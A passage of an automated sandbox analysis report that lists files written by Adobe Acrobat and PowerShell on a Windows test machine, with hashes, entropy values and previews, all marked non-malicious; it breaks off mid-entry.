Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.754329157248748
Encrypted:	false
SSDEEP:	3:kkFkl32yM/tfllXlE/HT8k1+z1NNX8RolJuRdxLlGB9lQRYwpDdt:kK5feT88+z7NMa8RdWBwRd
MD5:	B9387A0AEFDCC6438B9E34581385D7C3
SHA1:	8E50D1ED524C89EEED6DCA4220D3E231A9AD3161
SHA-256:	901CEB549C2BF8CD85F3173A7D66C00B1C745BDACCA85A2D0BB13F8F3BAB9347
SHA-512:	57DDA4A42CFBEC84446998BE36CDA218FFEECA7B368CC6B1F7B2F2684611A9DA35F0A5FD43CE5E3F3197FEA00032E0A7F3E8FD4EBC96894352D783B312BB92D5
Malicious:	false
Preview:	p...... ..........q.gc..(....................................................... ..........W.....@..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.231099772728515
Encrypted:	false
SSDEEP:	6:kKcL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:0iDImsLNkPlE99SNxAhUe/3
MD5:	26A189B201855D0B1F1D1BBCF21CF7D0
SHA1:	1BF950713C9E0FE0DC97AC7F0E007FDB74C931CE
SHA-256:	E3A92E83D8B49C2DDF6548F3BE5691308CE309180C0325CFF4C5A1A3783A641C
SHA-512:	831A3CF9CDD18007D377FA806D0C20D05B6FC0D1E0350985E276B78A4212E7A9A5013E0D2D465745968DA43A73F3CA6926C2C060E257020F2BF9C16BAF4B0299
Malicious:	false
Preview:	p...... ........e{..gc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3224

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3224

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.072583567904277
Encrypted:	false
SSDEEP:	48:Yf/pOrY21a4hbtC3dci5WXjJ0vS/PbMa7:dB0tWTJDnbMo
MD5:	1C730AF69E8F10063EB0B4B0425E49D4
SHA1:	8CD131A3601910BAE6B67E54BDA6D3E06B882B64
SHA-256:	5DD0028FC8C0AF50D353AA946AF9687308ECE8B157FC5C20440A268680A845E8
SHA-512:	BD749B64EEB2B1F8F8C44AC20B343FCAB97EA6297CEF490A8E4843062FE46614BCC08FC62DF92172ABFC2DD292DE36492AB1321A8476D28528E207AC296E6ADD
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736517491000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"380dd703fc581680761b4186c45e2d38","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696488387000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"35166e54b6efd9393ba2006ee9cc09b6","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696488385000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f776fac6300c02bf0731dc513183b5e8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696488373000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"78cf3d8961acebfb4fcfb54de4ad804c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696486847000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4bd607a1e654cbca833e725de7ae4339","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696486847000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1463762305169263
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursRERZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcp:TFl2GL7msRGXc+XcGNFlRYIX2v3k4I
MD5:	3E284DF4CFB0B322538AD305C8E9A1AF
SHA1:	A6D362918B974ABCA0CE16F73E83E1B115810DF0
SHA-256:	9B067051A30D5B01FC89F1A5EBFA5DFFA2B86501A2A4DB74AF816F9150B18CA3
SHA-512:	C75A3204EAFD56C45547E89A107A360498492D8589B42A10BB2CE27F1911AF02E4D8A64D7AF10D20F0AFBDCE9E3048D32C6673C5780ACB2BDA4D2462ED6DDA06
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5520287442816714
Encrypted:	false
SSDEEP:	24:7+t3EUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux2qLxx/XYKp:7M3JXc+XcGNFlRYIX2vPqVl2GL7msxn
MD5:	79CA3BF8991FFF6467EC6CBC63B406D6
SHA1:	9409D0D4584A2F6C95C8155CAAF8CE677618967C
SHA-256:	A4DBB64D61761F76F58A24FBC0C35F369B0C5ADD95F7ABC7B94206EF091FC335
SHA-512:	7BCF9D0141226AC06EB074848EE4178502715427C8F02F768EA91BC099128C736EA3D9D5FAA0AE98646A2F1B871AC9318A3D00FAFE62436F8EAFCB280D377922
Malicious:	false
Preview:	.... .c......Yz...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgN1NojTcuvpFt4ldkQiIFz3ltYyu:6a6TZ44ADEN16jQuvFgdk4K
MD5:	4461EF5FA8491DF472F4FACFA0C342E5
SHA1:	AAC33B214F9B2CB0E43C9BD8FB9009B4773B89B6
SHA-256:	229C4D0E6FD80D2F50BFF6ED431A039D2CCAC28F3B611471563CF7CC385D645E
SHA-512:	57079522E9064FFE5C3A477553FEF6CAD560783F3BB5FA27F29E8F1EB53FFED165F0F2F525C0DCA60FEC87450D499E09DDE25244A05B1B4A6C4C76D63DF2CA88
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSId1a98.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.505069684106714
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClqlyu:Qw946cPbiOxDlbYnuRK+bz
MD5:	8DAF45F280BBA454DD03A6198F6B8C33
SHA1:	696FC4312EA99B2899D19325E1B29DBE2271856B
SHA-256:	01288AE5B8314EB45D70851908C358B5B96FD8AEC94A7E4AFDA545F76471695E
SHA-512:	A7E6BA48E52996DAFB129E3A86424A064E745317410A38392D4BE9F4A1E24E28B352C5832C57F856E677551903F1339EF16D43C8FD0BAA2C323726364DB495BF
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.5.8.:.1.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1hqwlfae.bcl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mer0aed3.hkv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-58-09-679.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.378582499881117
Encrypted:	false
